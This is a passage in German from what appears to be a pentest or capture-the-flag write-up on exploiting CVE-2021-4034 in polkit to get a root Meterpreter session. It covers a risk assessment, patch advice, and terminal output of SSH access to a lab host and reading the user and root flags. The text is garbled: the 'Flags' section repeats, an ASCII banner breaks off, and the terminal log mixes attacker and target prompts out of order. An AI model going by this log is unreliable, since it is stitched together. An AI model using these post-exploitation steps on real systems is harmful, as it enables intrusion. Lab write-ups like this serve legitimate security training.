Nach erfolgreicher Ausführung des Exploits sollte eine neue Meterpreter-Session mit `root`-Privilegien geöffnet werden. Der Befehl `getuid` in dieser Session sollte `Server username: root` zurückgeben, was beweist, dass wir erfolgreich `root`-Rechte erlangt haben.

Beweismittel

Die screenshots im vorherigen Abschnitt zeigen bereits, dass der Befehl `getuid` in der neuen Meterpreter-Session `Server username: root` zurückgibt.

Risikobewertung

Die Ausnutzung von CVE-2021-4034 ermöglicht es einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu schwerwiegenden Folgen führen, darunter:

  • Unbefugter Zugriff auf sensible Daten.
  • Installation von Malware oder Backdoors.
  • Manipulation oder Zerstörung von Systemdateien.
  • Kompromittierung des gesamten Netzwerks.

Empfehlungen

Um das Risiko einer Ausnutzung von CVE-2021-4034 zu minimieren, sollten folgende Maßnahmen ergriffen werden:

  • Installiere das neueste PolicyKit-Update so schnell wie möglich. Die meisten Linux-Distributionen haben Patches für diese Schwachstelle veröffentlicht.
  • Implementiere zusätzliche Sicherheitsmaßnahmen, wie z.B. Intrusion Detection Systeme (IDS) und Intrusion Prevention Systeme (IPS), um Angriffe zu erkennen und zu blockieren.
  • Führe regelmäßige Sicherheitsaudits durch, um potenzielle Schwachstellen zu identifizieren und zu beheben.
  • Schränke die Verwendung von SUID-Dateien ein und überprüfe regelmäßig die Konfiguration, um sicherzustellen, dass keine unnötigen Privilegien gewährt werden.

Flags

Nachdem wir erfolgreich `root`-Zugriff erlangt haben, ist es unser Ziel, die "Flags" zu finden. Flags sind in der Regel spezielle Textdateien, die den Abschluss eines Pentests oder einer Capture-The-Flag (CTF)-Übung markieren. Sie dienen als Beweis dafür, dass wir das System erfolgreich kompromittiert haben und unsere Ziele erreicht haben.

┌──(root㉿cyber)-[~]
└─# cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdEJnonPE= root@cyber
meterpreter > shell
Process 3040 created.
Channel 1 created.
ls
authorized_keys
known_hosts
┌──(root㉿cyber)-[~]
└─# ssh root@bob.vuln -p 25468
The authenticity of host '[bob.vuln]:25468 ([192.168.2.138]:25468)' can't be established.
ED25519 key fingerprint is SHA256:OY3LVMIRHTASgrwg8mXjqq8nFPrcwLV7lhRz0gpjwq4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[bob.vuln]:25468' (ED25519) to the list of known hosts.
__ __ _ _ _ _____
| \/ (_) | | / ____|
| \ / |_| | |

Flags

Nachdem wir erfolgreich `root`-Zugriff erlangt haben, ist es unser Ziel, die "Flags" zu finden. Flags sind in der Regel spezielle Textdateien, die den Abschluss eines Pentests oder einer Capture-The-Flag (CTF)-Übung markieren. Sie dienen als Beweis dafür, dass wir das System erfolgreich kompromittiert haben und unsere Ziele erreicht haben. In diesem Fall suchen wir nach den Dateien `root.txt` und `user.txt`.

cat user.txt

Flag: c7d0a8de1e03b25a6f7ed2d91b94dad6

cat root.txt

Flag: 5C42D6BB0EE9CE4CB7E7349652C45C4A

Die Flags wurden gefunden! Dies bestätigt, dass wir alle Ziele des Pentests erreicht haben. Der Pentest war erfolgreich.